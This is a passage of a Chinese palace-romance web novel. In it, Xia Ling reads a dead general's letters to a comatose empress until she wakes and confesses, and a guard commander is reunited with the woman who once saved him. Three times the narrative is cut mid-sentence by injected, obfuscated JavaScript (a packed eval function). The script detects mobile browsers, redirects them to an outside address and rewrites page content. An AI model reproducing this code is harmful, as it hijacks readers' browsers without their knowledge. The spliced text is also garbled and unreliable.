他戎马半生,后因伤荣退,回祖籍南京颐养天年。纪瑶幼时常去外祖家小住,故同高云瞻从小便相识。 周将军无子,仅有纪瑶母亲那一个女儿,他去世后,周府败落,高云瞻便又做回了无所依靠的孤儿。 穷途末路之时,是纪家收留了他,见他身上有些功夫,给了他一个养马的活计。 那几年,高墙大院中的生活不得而知,但他与纪瑶,却定是在那些敏感而又孤单的年岁里,在彼此心中都留下了印迹。 宣明二十三年,高云瞻辞了纪家的差事,只身赴西北参军。正是那一年,纪瑶被庄靖太后接入了宫廷之中。 此后对他的了解,便都是通过边疆一封一封传回京中的奏报了。直到景熙二年,鞑靼南下突扰陕西行司,参将高云瞻,报亡。 夏绫拿起那摞文书最上面的一本簿册,是陕西行司都指挥使司的名册。她找到高云瞻那一页,见上面清楚的记录着他的履历升迁。 宣明二十四年三月,任把总。 宣明二十六年五月,盗匪侵扰,带队斩杀匪贼十数人,擒贼首,授守备。 宣明二十七年腊月,雪夜行军,直捣鞑靼中军,杀敌百二十人,升游击将军。 景熙元年八月,鞑靼夜袭军营,单枪入敌阵,护粮草千石,擢参将。 景熙二年七月,遭鞑靼围困于山谷,昼夜七日,弹尽而粮绝,拼杀至最后一卒,犹未降。殓其尸身,全军送殡,厚葬之。 这是他名下的最后一条记录。这页纸并不长,夏绫却读了好久,每一个字,都是沉甸甸的军功,都是那人为守护边疆而洒下的热血。 后面的几册簿子,大多都是陕西行司日常记录的邸报,记述林林总总,并非每页都有高云瞻的名字。但这些文书宁澈大概之前也都翻过一遍了,在与高云瞻相关的地方皆夹了页签,夏绫看起来倒也没花多少功夫。 在最后,还有一本用布包起来的东西。 夏绫将包裹展开,讶异的发现里面竟都是些散着的信封。信封并未封口,也未写收信人的名姓,显然这些信,是没有办法寄出去的。 不过夏绫旋即就猜到了,这些信究竟是写给谁的。 不出所料,最早的一封信,落款于宣明二十七年。那一年春天,金陵纪氏女被册封为太子正妃的消息,传召天下。 在数年之后,在落笔之人已经故去之后,这些书信终于借由夏绫之口,读给了不知是否还能醒来的收信人听。 此后的日子里,夏绫每日都会拆开一封书信,在黄昏最温存之时,坐在纪瑶的身边,一字一句读给她听。 “宣明二十七年,四月。西北苦寒,及至四月,春风始吹度。遥想江南故地,必已春花遍野,流水潺潺。江南之风吹彻京城,又带满目绿意,染戈壁青翠。不知今日之熏风,是否曾吹拂皇宫殿宇,亦不知檐下之你,是否安康欢愉。” “宣明二十七年,冬月。寒风突至,大漠落雪,百木枯折。至雪晴,天幕霁蓝,廖广无云。与营中兄弟策马疾驰于雪野之上,至高丘,下马仰卧于莽莽雪盖间,共饮烈酒,好不畅快。俯仰一世,山川何广,江水何长。愿吾与汝皆可摒弃旧念,各自安好,踏行前路。” “景熙元年,九月。八月与敌一战,伤及肩背,多病缠身,将养至今。现病体稍愈,行至城墙之上,忽见胡杨已黄,灿灿如金,煞为可爱。思及从军之路,操练也好,杀敌也罢,初只为挣得功名一二,以做聘礼,同汝结红叶之盟。时至今日,恍然开悟,吾爱汝,亦爱此山河。此生既不能结白头之约,吾愿毕生守此疆土,山河无恙,则汝亦可安心无虞。山水有相逢,愿君珍重。” 一字一句,一言一行,夏绫读来之时,亦能感觉到那人心中的变化。从起初的不舍与思念,到后来同自己的和解,也盼着纪瑶能往前看,希望她余生安好。 夏绫就这样一封信一封信的读着,不知不觉,便到了年根底下。 宁澈只要得了空,便会带着小铃铛到永宁宫来,也不做什么,只是同夏绫一块待一会,陪她说说话。他有时候会说些前朝政务,有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221337|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会聊一下他正在看的书,也不求夏绫能同他探讨些什么,只是想告诉她,虽永宁宫中一成不变,但一室之外仍风云流转,无论结果如何,日子总是还在往前跑着的。 因今年枝节颇多,先是通倭贪墨,又是皇后病重,宫中春节也就没怎么铺张大办。 只是除夕之夜,宁澈喊了夏绫跟宁潇,三人加上小铃铛,一块吃了顿年夜饭。 景熙五年,就这样到来了。 夏绫依旧每日在永宁宫中忙碌着。至正月末,某一日她忽抬头看向窗外,竟见微风和煦,枝头杏花竟隐隐有待开之势。 春天来了。 而高云瞻写的那些书信,一页一页读过之后,也只剩下了最后一封。 夏绫将那封信拆开,坐到了纪瑶床边的脚踏上。这样会离她更近一些,夏绫想,她或许就能听得更清楚一些。 五十余封信一一读来,到了后面,高云瞻在信中鲜有再提到“汝”,但写信的习惯依然保持着,更多的时候只是随记一些他的所见所闻,似乎就将一页信纸当做了他可以对坐闲聊的故友。 夏绫展开信纸,那上面所言不多,留的是一首?江城子?。 “朝暮持锐为西疆,眉点雪,鬓染霜。风卷云澜,山河皆苍茫。寒铁难凉忠忱血,驱敌虏,护国康。 东望归乡路悠长,思万绪,杯中藏。千言于心,落笔却几行。梦回檐下傍窗坐,共佳人,剪烛光。” 落款的时间是,景熙二年六月。 根据陕西行司的邸报,夏绫知道,待过了七月,高云瞻在军中便已供职满七年整。七年朝夕,昔日意气之少年不再,取而代之的是两鬓微霜的戍边将军了。 自投军后,高云瞻一天都未曾离开过边疆驻地,满七年之期时,他却忽向上级报请,想告一段时间的假,回南京看看。 夏绫无从得知他那时的心境,但从他的文字中隐隐感觉到,那人大概是想借这段故地重回的日子,同过去的什么道个别。 可是,他没能回去。他再也回不去了。 夏绫手中拿着高云瞻的绝笔,无法不恨天地不公,造化弄人。 “瑶瑶,”夏绫唤着躺在床上的女子,声音哽咽,“你快点醒来啊。我真的,再没有其他办法了。” 高云瞻的信,她已经都读完了。太医说,纪瑶的身体也已到了极限,如果再睡下去,任谁都无力回天了。 思及此,夏绫心中无尽悲戚涌起,她靠在床沿上,将脸埋在臂弯里,低低啜泣了起来。 她不知哭了多久,直到哭的都没力气了,才抬起头来,擦了擦自己湿红的双眼。 “瑶瑶……” 可当夏绫再次看向纪瑶时,脑子里倏忽间一片空白,只有一颗心疯狂而炽烈的跳动着。 纪瑶的眼角,滑落下来一行清泪。 夏绫颤抖着,用指尖触向了纪瑶的眼睫。 她将手指放在唇边,湿痕微微划过舌尖。 是咸的。 103. 庶女小倌 太医院的医官,御药房的内侍,司药司的女官,全都披着月色赶到了永宁宫。 医女为纪瑶身上几处关键穴位施针数次。终于,她的双眼缓缓睁开。 夏绫在一瞬间泪如雨下。 “绫儿,”纪瑶有气无力的喊出她的名字,“我好像,梦见了一个许久未见的人。” 夏绫却早已哭的泣不成声。她握住纪瑶的手,不住的说道:“瑶瑶,醒来就好,醒来就好……” 因纪瑶的身体还太过虚弱,她每天都只能醒一小会,吃些流食,神智也不是太过清楚。 夏绫知道,自己不能在此时急于问她太多话,只是每日依旧事无巨细的照料她。 数天后,纪瑶恢复了些力气,夏绫才扶着她尝试坐了起来。 纪瑶背靠在软枕上,经此一场大病,双颊凹陷,已近乎瘦脱了相。这个虚弱伶仃的女子,很难让人把她同一国之皇后联系在一起。 夏绫坐在床边,拉起纪瑶的手。 “瑶瑶,我有许多话,想同你谈谈。” 她徐徐道来,一一讲了方苒,庄衡,以及谭小澄在这段时日中的际遇。最后她说:“瑶瑶,我恳请你告诉我,真相究竟如何。那碗粥里的毒,到底是谁下的?” 纪瑶低垂着眼眸,声音冷淡:“绫儿,我真的不明白。为什么连我自己的命,都不能让我来决定,偏要将那么多旁的人牵扯进来? 夏绫答:“人在江湖,尚且不能万事由己,更何况是在宫廷之中。” “这就是你一定要把我救回来的理由吗?” 夏绫摇摇头道:“瑶瑶,救你回来的人不是我,而是高云瞻。” 纪瑶蓦然抬眸,嘴唇翕动:“你……为什么会知道他?” 夏绫坦诚而言:“瑶瑶,你太低估皇上了。你从前的所有,他早都知道。” 她起身,将高云瞻遗物中的那几十封书信取来,放在纪瑶面前。 “这些,我觉得你应该是会想看看的。” 纪瑶气息忽窒。 她有些匆匆,又有些情怯的拆开第一封信。当那再熟悉不过的字迹映入眼帘时,泪水顷刻潸然。 纪瑶一封信一封信的展开,手下越来越急,恨不得将高云瞻留给她的那些话一眼都看尽。床被上很快铺满了散落的纸张。 直到她手中只剩了最后一封信。 他的绝笔。 纪瑶拆开信封,将那页薄薄的信纸捧在手间,凝滞良久。就如同闯入了一个温软的梦境中,迟迟不愿醒来。 她平复了片刻心中翻涌的气息,对夏绫说:“我少时在纪府,大房娘家的表兄轻薄于我,偌大的府邸,竟都在袖手旁观。只因我若失了清白,便可以贱嫁做他人妇,纪府用不着多出一分嫁妆。无母亲庇佑,父亲又不在身边是女孩子,即便是在高门贵府中,也逃不了被践踏的命运。是云瞻帮我出了头。他被大伯父绑在马厩里,打的浑身是血,三天三夜没给一口水喝,险些就丧了命。” “后来,姑祖母说要把我接进宫中教养。那时我还以为是要来宫中做女官,左不过耽误几年青春,待到衣锦还乡,能为自己多挣得几分筹码。云瞻说,我若离开纪府,那他便也离开,去投军,去挣军功,终会有靠自己出人头地的一天。我们还彼此约定,各自攀登,山顶相逢。” 无人知道,当纪瑶终于看清,自己再也离不开这宫禁之地时,是何等绝望。 纪瑶拭了拭腮边清泪,接着道:“我嫁入东宫的前夕,曾写过一封信给云瞻,今生缘已断,就此别过,各自安好。可是那封信,连宫门都没有送出去,便让太后给截了下来,逼我当着她的面,将那封信烧掉。” 说到此处,她的声音陡然颤抖起来:“这么多年,我一直以为,云瞻他恨我。是我食了言,是我失了约,是我连句道别都没来得及。绫儿,你知道,因为这句来不及,我有多恨自己吗?可时至今日我才知道,他竟然,竟然……” 从来都没有恨过她。 “绫儿,我真的好想他,好想他。” 纪瑶的泪水再一次簌簌落下来。夏绫轻轻将她抱在怀里,让她枕在自己肩上。 终于,压抑着的啜泣变成了失声痛哭。 夏绫温柔的拍着她,知道任何安慰的话语,在此刻都过于苍白。 “瑶瑶,高云瞻,你父亲,还有我,都盼着你余生安乐,能好好的活下去。” 安乐。这两个字对纪瑶来说,何其奢侈啊。 哭过之后,纪瑶反倒平和了许多。 她将脸上的泪痕擦净,对夏绫说:“绫儿,你去拿纸笔过来吧。那我粥里的毒是我自己下的,该我承担的后果,我全都认,不会连累其他人的。” 纪瑶洋洋洒洒,写满了三页纸张。仿若河道疏通,水泄千里,既知前路如何,便无半分迟滞。 她将自己写好的状词,递给夏绫。 “绫儿,这份口供,请你帮我转交给皇上。我知道,后妃自戕是大错,此封供述一递上去,我必定罪无可恕。但是这一次,请你不要帮我任何,这是我们……” 纪瑶顿了顿,方说出口:“是我们夫妻之间的事。事已至此,就让我与他,亲手画上一个结局吧。” 夏绫颔首应下。 当这份供书被呈送到御书房的桌案上时,宁澈看着那三页纸,沉默良久。 “乔乔。”他习惯性的喊了夏绫的名字,这两个字,总能让他得到片刻的安稳。 “有了这个东西,她的皇后是一定做不成的了。可你知道,这对于我来说,意味着什么吗?” 夏绫垂眸道:“史书上,会永远给你落下一笔,帝后不和的污点了。” 宁澈微微摇了摇头。 他并不在乎史书上如何书写他这段并不和睦的婚姻。西汉武帝有巫蛊之祸,唐太-宗玄武门诛杀兄弟,就连本朝太-宗文皇帝,也有靖难篡位不正不顺之说。他们都有污点,但都不妨碍他们依旧是旷古贤君。 宁澈很久之前便已明白,身为帝王,抹去污点靠的不是谨小慎微,而是要有更大的功绩载于史册,污点才会显得微不足道。 这根本不足以对他构成威胁。 可是。 一旦皇后被废,朝野上便会立刻掀起让他另立新后的呼声。他是可以靠强权拖延一段时日,但那些文官不会善罢甘休的。 他们会在哪里入手呢。纯孝。 请立先帝皇后,封固陵寝。圣母梓宫归位,帝后一体,父母的礼制都已全了,为表孝道,他还有什么理由不立皇后呢。 事涉祖宗国法,一旦被提上案头,这事他拖不了,也不敢拖。 但他与夏绫的情分,也就走到尽头了。 这才是悬在他头上,他最怕落下的那把剑。 “阿澈?”见他久久不语,夏绫有些担心的唤了他一声。 “哦。”宁澈恍然回神,终是喟叹一声,“罢了。走一步看一步吧。” * 皇后既已认了她是自己一心求死,那方苒头上的罪名,自是不攻自破了。 监禁这数月以来,她的行动虽不得自由,但皇上遣了御医来为她诊治身上的伤口,又准许尚宫局每日派两名女史轮流照顾她的起居。是以这段时日,方苒过得虽不算舒坦,但至少算体面。 因用刑的时候伤了筋骨,她现在走路还不甚稳当。夏绫安排了一顶小轿,将方苒抬回了乾东五所,扶她回到从前的住处休息。 方苒坐在床边,看着夏绫忙忙叨叨的来回张罗,一会去开窗通风,一会出门去烧热水,一会又吩咐随行内侍去准备饭食。看到她健步如飞的样子,方苒心中涌起一丝羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233541|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕。 低头看向自己的双手,由于上刑时伤的太重,时至今日她的十指上仍缠着厚厚的纱布。方苒微微抬起腕子,五指微拢,尝试着比了个手势。 是握笔的姿势。 “绫儿。”方苒将夏绫唤过来,让她与自己坐在一处。 “还是要多谢你,为了救我,辛苦你四处奔走了。” 夏绫摇了摇头:“嗐,我不过就是跑跑腿,能有多辛苦。吃苦头的到底还是你们。” 沉吟片刻后,方苒才又开了口:“嗯,你知道他,现在如何了吗?” 这句话,方苒在见到夏绫的第一眼时就想问了,可又怕自己太过唐突,生生忍到了现在。 夏绫点头,如实答到:“庄衡大人,他被皇上下了刑部大狱,至今仍在关押。” 见方苒立时面露焦急,她忙说:“不过你别担心,皇上并没有想真的治他的罪。况且刑部的钟义寒大人与他相熟,钟大人在诏狱时得过庄衡大人的照顾,此番在刑部大狱,钟大人也必不会亏待他。” 方苒这才略安了心。 夏绫在她肩上轻拍了拍,以示宽慰,后低声问:“苒苒,你同庄衡大人相识这事,怎么从来都没听你提起过呢?” 方苒浅淡的抿了下唇:“绫儿,我的事你都知道,罪臣之女,身上总归是有些不光彩的地方在的,不敢随意攀附。而指挥使大人……他的过去亦是多舛,我哪能随随便便当做谈资,说与旁人听。” 历此劫难,方苒仍只敢称庄衡为指挥使大人,未曾逾矩分毫。 事已至此,方苒也无需再瞒着夏绫,徐徐讲到:“指挥使大人,是在我们那一个风月馆里长大的,他娘亲去世后,老鸨自然就盯上了他,要他去做那种生意。我们那管做这种生意的也叫,嗯,兔爷。” 夏绫微微诧异。她只听庄衡说过,他出身微寒,但不知竟微寒至这般境地。 方苒有些难以启齿,双颊略泛了红:“我那个家,府上正房的长兄,玩的一直有些花。他让老鸨点了几个兔爷送到府上来,供他玩乐,其中便有指挥使大人。那是他第一次被逼着来做这种事,可不知道用什么法子,他逃了出来,但是逃的时候划伤了腿,误打误撞的,闯进了我的房间。” “毕竟是玩这种见不得人的勾当,正房长兄丢了人,也不敢在府里大张旗鼓的找,于是我就把指挥使大人偷偷藏了起来。那时候也没想那么多,只是觉得,但凡是被正房欺侮的人,都是我的盟友,出手相救自是情理之中的事。” 说到此处,方苒竟勾了下嘴角,似乎仍在为年少时的抗争有些许得意。 “他在我房里养了一个多月,腿上的伤才痊愈。后来趁着某一日夜色正浓,我就将他送出了府,让他走的远远的,再也不要回这地方来了。” 临别之际,小庶女塞给小男倌儿一个钱袋子,里面装着几块碎银,还有一枚的剑穗。钱袋子是她自己绣的,碎银是她小娘留下来的,剑穗也是她亲手打的。 彼时的小庶女,并没有怀着满腹乐善好施的慈悲心,毕竟她自己还都在紧紧巴巴的讨日子呢。她只不过是希望,自己跨不出去的这道门,有人能替她走远些。 比起花前月下情情爱爱,她还是更喜欢看这种逆风翻盘,自食其力的故事。而她自己,虽然现在翅膀还不够硬朗,爪子也没有很锋利,但她依然也会不断的抗争,相信终会有振翅而飞的一天。 小男倌儿是一口气跑出去了好远,才发现自己的口袋里竟多了这样一只钱袋子。旷野之中,他将钱袋子打开,见其中还塞了一张字条。 长风破浪会有时,直挂云帆济沧海。 看着手中的剑穗,小男倌儿忽而心头一亮,想明白了自己今后的去路。 而字条上的那句诗,也深深刻入了他的心中,成了庄衡今后的信条。 104. 聊赠春意 刑部大狱内,两位着赤红色飞鱼服的锦衣卫千户在牢房外垂手肃立。 囚室之内,庄衡一身襕衣,坐于桌案旁批复完了案卷,又盖上自己的官印,方从栅栏间递出道:“拿去下发执行吧。” 两位千户抱拳应是,行过礼后,依序退下。 这几个月来,刑部官员对锦衣卫的出入已习以为常,刑部大狱俨然成了北镇抚司自家的衙门。 谁让人家的指挥使大人押在这呢。 庄衡人虽在这关着,公务却一点都没耽搁,仍然保持着在北镇抚司当值时的习惯,日日五更起三更歇。这种惨绝人寰的作息实在令刑部上下叫苦不迭,毕竟谁受得了每天天不亮就有锦衣卫来敲门呢。 不过借此倒好好修整了一番刑部某些官员惫懒的毛病,回回早朝点卯,刑部必定是头一个到的。 钟义寒来到刑部大狱时,正巧碰上两个千户回禀完公事出来。他很自觉的避到一旁,拱了拱手先让两位上差先走。 两个锦衣卫冷冷瞥了他一眼,没有搭腔。 钟义寒撇嘴耸了下肩。他此番出面将人家的头儿给拘了,可是把北镇抚司上下得罪干净了。 奈何只得摇头笑了下,钟义寒左手拎着两壶酒,右手握着一束海棠枝,转身往大狱深处走去。 “庄衡大人。” 钟义寒在牢房前站定,摸出钥匙将牢门打开。 “钟大人。”庄衡搁下笔,没有起身,显然是对他的到访习以为常。 钟义寒这个人,既没有家室,也不善于社交,于是一到休沐,便上大狱里来找庄衡喝酒。这俩人倒是也能聊的到一块去,是以同钟义寒对酌,也成了庄衡这段时日唯一的消遣。 见钟义寒今日带了不止两壶酒,还有一捧花枝子,庄衡不由问到:“这是?” “噢,”钟义寒笑道,“路上遇见海棠开得正盛,便折了一只携予庄大人,聊赠一枝春。” 两人相对而坐,各自拔了酒壶塞子。 方酒过三巡,却有一小吏匆匆来报:“侍郎大人,宫里来人传了消息,宣庄大人进宫面圣。” “噢?”钟义寒放下手中酒壶。 庄衡亦是神色颤颤:“陛下,终于肯见臣了?” 钟义寒心中已猜到了几分,看向墙角的花枝,笑道:“看来,这一回当是柳暗花明了。” 庄衡心中微动,拱了拱手道:“多谢钟大人赠春。” 到乾清宫时,门口当值的内侍显然已得了吩咐,没有进去通报,直接请庄衡入殿。 宁澈此时正坐在御书房的桌案前,翻看着松门卫的布防舆图。庄衡行至御案前行了大礼,对上唤一声:“陛下。” 宁澈却没有说话,好似正看得入神,并未留意到房中何时多了一人。 庄衡便只默然跪着。 更漏笃笃哒哒,宁澈直翻完了一整本布防纪要,方搁下笔,淡淡问了句:“庄大人,在你心中,拿朕当什么人?” 思量片刻,庄衡低头答到:“微臣视陛下为君父,是臣甘愿赴汤蹈火效忠之人。” 宁澈摇了摇头,却道:“可朕对你,却不是这个样子。” 他从御案后走出,自己搬了张方凳,放倒后坐到庄衡跟前,这样便与他几乎同高。 “庄衡大哥。” 庄衡悚然抬眸:“陛下,臣不敢……” 宁澈却抬手打断他:“朕就再这么称呼你一次,日后绝不会让你难做。” 庄衡低头,内心似有百江湍流,汤汤而过。 “庄衡大哥,在我心里,你是为数不多,能让我称得上是朋友的人。” 扪心自问,宁澈这番话里不能说没有收买人心的成分在,但真情实意至少也能占了九分。 彼时在宁波卫海防营,他与庄衡同效力于长官戚嵩的门下。 两人同住一方营帐,床铺挨着床铺,但因皆不是爱言谈的性子,不过是点头之交。 直到有一次,庄衡被几个年长的兵痞子围住欺凌,正被宁澈撞见。他本不欲多管闲事,却偶然听其中一人啐了庄衡一句,骂他是没娘的野种。 “没娘”两个字刺进耳朵里,让宁澈心里某一处的邪火轰然燃起。他火冒三丈的冲过去和那几个人扭打在一块,不过因为年龄小,到军营中的时间又短,他与庄衡其实就是被单方面揍了一顿。 但那次之后,两个少年人倒迅速的熟识了起来。 庄衡肯吃苦,宁澈爱动脑子,两人总是最早起来到校场上跑圈,迎着朝阳谈天说地。到了晚上卸甲收营后,宁澈又会拿出自己的笔记,与庄衡聊上许久他对海防的设想。 宁澈长得俊俏,谈吐又不俗,庄衡隐隐觉得,与他交好的这位小兄弟,应该不是穷苦人家的孩子。但他又不明白,但凡家中有点门路的人,谁又会来军营里吃这份苦呢,所以也不敢瞎猜。 只不过,他还是给宁澈起了个诨号,私下里管宁澈喊“夏小爷”。 宁澈在起居上确实是要娇贵许多。 军中的伙食他吃不太惯,每次都将菜里的干鱼干虾拨掉,只吃底下的那点米。宁可饿着,他不喜欢的东西也不多吃一口。 而庄衡那时候长得很瘦,个头又高,一人份的伙食总是吃不饱。于是宁澈不吃的那些东西,全都进了他的碗里。 宁澈看着庄衡吃饭的样子直发笑,开玩笑道:“若是让你以后跟着我混饭吃,你跟不跟?” 庄衡想都没想便答:“跟啊。” 对于这位夏小爷,庄衡心里是服气的。他聪明又有主意,总是能从细枝末节处找到问题的关键,用巧劲,而不是蛮劲。这让庄衡觉得,跟着他走,总归不会走错路的。 庄衡本以为,日子能一直这么过下去。挣些军功,攒些饷银,等哪天不在军营了,就跟着他的夏小爷谋些别的营生,总归自己很乐意听他的差遣。 转折点发生在一场突如其来的倭寇袭击。在那场战斗里,守将戚嵩战死,海防营遭受重击。 这件事惊动了时任浙直总督。部堂大人亲自来到海防营巡察,与他同来的,还有几个身着锦衣的军卫。 庄衡寒酸的搓了搓手,那几个军卫腰间别着的那把花纹繁复的佩刀,让他艳羡不已。 庄衡低声对身边人道:“喂,小爷,你看他们那把刀,可真威风。” 谁知夏小爷却心不在焉的说了句:“哦,就那样吧。” 那天收营后,夏小爷没有回来。庄衡却悄悄看见,他进了那几个锦衣军卫的营帐,再也没有出来。 翌日天明,日出沧海。部堂大人的兵马行将开拔,只是队伍里,多了一辆重兵护卫的马车。 人马开动,庄衡却不知从哪冒出来一股虎劲,直冲进队伍里,冲车里的人喊到:“喂,你不是说要带我混饭吃的吗,还作数不?” 就在他差点要被打出去时,车帘忽而掀开,露出那张他熟悉的脸。 夏小爷打量了他片刻,从车厢里探出半个身子来,冲他道:“上来。” 庄衡片刻没有犹豫,破开拦着他的人群,跳上了车辕。 宁澈同身边的锦衣卫勾了勾手指,要了对方腰间的那把佩刀。 他将这花纹繁复的刀递给庄衡,笑道:“记住了,这把刀叫绣春刀。送你了。” 一把绣春刀,庄衡就一直握到了现在。 思及昔年旧事,乾清宫中的君臣二人,都不由有些动容。 宁澈将手肘搭在膝上,对面前人道:“庄衡大哥,你什么都好,就是某些时候,有点太独。你将情义看得太重,一味只想着报答,生怕稍微索取了什么,就同利益交换划上等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254486|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,所以片刻不敢逾矩。但其实有的时候,你麻烦麻烦我,让我知道你到底想要什么,反倒会让我觉得安心些。” 庄衡低头嗫嚅道:“可毕竟事涉内廷女眷,臣万不敢……” “别人不敢是应该的,可是庄衡大哥,你还不知道我么。”宁澈说的有些无奈,“彼时我嘲笑过你怎么用粉色的钱袋子,你也回讽过我闲着没事怎么老在写信。除了乔乔,□□女子与我而言不过都是普通宫人,与一般臣子无异。我又何尝是那心思狭隘之人?” 庄衡面露惭色:“是臣,小人之心了。” 宁澈回身,从自己桌案上摸下那只粉色的钱袋子,递给庄衡:“这个还你。” 庄衡双手接过,依旧百倍珍惜。 宁澈道:“人家姑娘豁出命来救你,你也合该给人家一个交代。你们俩去商量一下吧,把该说的话都说清楚,之后想怎么办,回来告诉朕一声就行。” 庄衡眼眸中碎光流转,踌躇道:“她……” “人就在外面了。”宁澈在庄衡肩上拍了一下,笑道,“庄大人早知晓了朕的秘密。这一回,朕也很想知道,你的秘密到底是什么样子。” * 和煦春光里,夏绫扶着方苒,慢慢跨过日精门。 方苒的腿脚仍是不太利索,微微含着身子,走的很慢。因要面圣,她的手指没有再缠上厚重的纱布,只是穿了一件衣袖稍长些的衣服,遮住尚未痊愈的伤痕。 见乾清宫巍峨的大殿出现在眼前,方苒不由得不安起来,低声同身旁人道:“绫儿,皇上真的要见我么?我该说些什么?” 夏绫知道她心中紧张,温声宽慰道:“苒苒,你不用担心,皇上平时还是个挺好说话的人,他问什么你便答什么就好。” 行至东侧廊下,夏绫见方苒有些气短,于是扶她到廊庑下,拿出随身背着的软垫,让她在这稍坐一会。 方苒仍是有些惴惴:“绫儿,我坐在这里,合规矩吗?” 夏绫朝墀台之上望了一眼,见还无人出来,便说:“没事。皇上现在估计还在跟人说事呢,咱们等一会。” 清风拂袖,吹面不寒。 没过多久,夏绫便远远看见,有个人从大殿中走了出来,脚步匆匆,很不从容。 夏绫唇角一翘,在方苒肩上拍了下,飞速道:“苒苒,我去跟皇上通报一声,你在这等一下哈。” “哎,绫儿……” 还未及叫住她,夏绫早就一溜烟跑远了。 方苒低下头,只得安静坐着,不敢稍有东张西望。 直到一人高挑的影子,映在了她的裙摆上。 “方四小姐。” 庄衡双手交握,向方苒深深揖礼,他是武将,此番执的却是书生礼,生疏到有些笨拙。 方苒双肩微颤。 “指挥使大人。”她自己站不起来,只得深低着头,当做回礼。 小庶女与小男倌儿,时隔数年,走过万水千山,却又在廊庑下重逢。虽彼此音容已改,赤诚之心却并未褪色半分。 听那人许久未语,方苒低头道:“我已不是什么方四小姐了,大人便直接叫我方苒就好。” 庄衡忙道:“那你也叫我庄衡。” 话说出口,他又觉得唐突非常,不禁憋红了面皮。 方苒始终未敢抬头看他,只是悄悄从袖子里探出指尖,暗自摸了摸那人落在自己裙上的影子。 最怕矫情的方苒,万事靠己的方苒,平日里对姐妹有些泼辣的方苒,在这满地春光之中,双颊竟也染了红霞,娇艳如夭夭桃花。 良久后,庄衡对她又深深揖了一礼,有些羞涩,却又满是郑重的发问道:“方姑娘,如今风浪已破,云帆已扬,如若姑娘不嫌弃,在下这叶舟楫,不知可否乘载姑娘余程?” 105. 借刀杀人 夏绫去乾清宫中猫了一会,隔着花窗使劲往外看那两人说话的神情,恨不得长一双顺风耳出来。 她一回头,见宁澈不知道什么时候站在了自己身后,也在拔着脖子往窗户上贴。 夏绫被他吓了一跳,瞪他道:“你干嘛?” 宁澈跟她凑在一堆:“就只许你在这扒墙角,我就不能看一下了?” 夏绫哼声,皇上心里也住着一只好奇猫。 等了一会,夏绫见廊下两人话也说的差不多了,才揉了揉脸,装作什么都没有发生,出去找方苒。 “苒苒!”她小步跑过去,见了庄衡,故作很惊讶的样子,“庄衡大人,这么巧,你也在呀?” 庄衡耳朵烧的透红,微咳了两声,正色道:“夏姑娘。” 夏绫不怀好意的冲他乐了一下,轻轻扶起方苒,同她道:“皇上让你进去呢。” 方苒抿了抿嘴,在夏绫的搀扶下站起身,缓缓往乾清宫的汉白玉墀台上走去。 庄衡就跟在两人身后,亦步亦趋,她们快他则快,她们慢他便也会慢下来。 殿内,宁澈又坐回了书房中的御案后,神色冷淡的倚着御座的扶手,手中握着一卷书。淡定的就好像方才扒在窗户上往外看的人不是他一样。 夏绫陪着方苒走进来,轻轻握了一下她的手腕以示鼓励,扶着她到御前见礼。 庄衡同方苒一起,并肩跪在御案前。 夏绫站回到宁澈身边,正好看到他从书卷后挪了一只眼睛出来,同自己对了个眼神。 “皇上,这位便是方姑娘了。” “哦,来了。”宁澈这才将手中的书卷撤下来,摆上一副帝王气度。 方苒在尚宫局中受过很好的礼仪教养,她徐徐下拜,口齿清晰道:“奴婢方苒叩见陛下,吾皇万岁。” 宁澈嗯声,波澜不惊的问:“你们商议的如何了?” 方苒微微抬起身子,看向庄衡,似乎在询问他的意思。庄衡却回给方苒一个温和的眼神,示意她大胆去说。 方苒心中多了几分坚定,叩首答到:“奴婢谢陛下体恤,感念皇恩浩荡。然心中所想,亦不敢欺瞒君上。故斗胆回禀,奴婢暂时还不想出宫,仍然想要考取女官,此等初心未曾改变。” 此言一出,不止宁澈,连夏绫都有些讶异。 宁澈看向庄衡:“你的意思呢?” 庄衡同叩首道:“禀皇上,方姑娘的意思,便就是臣的意思,臣尊重她的任何决定。只不过,臣还想再同陛下讨个恩典。” “你说。” 庄衡抬起头,神色铿然,却又带了几分憨涩:“待到方姑娘愿意出宫的那一日,微臣恳请陛下,能为臣赐婚。” 铁树开花了。 宁澈心中已然有十分笑意,却硬忍着只露出三分,颔首道:“准了。” 夏绫却已经管不住自己要疯狂上扬的嘴角了。 她笑吟吟的问宁澈:“皇上,有这等喜事,您都不赏点什么吗?” 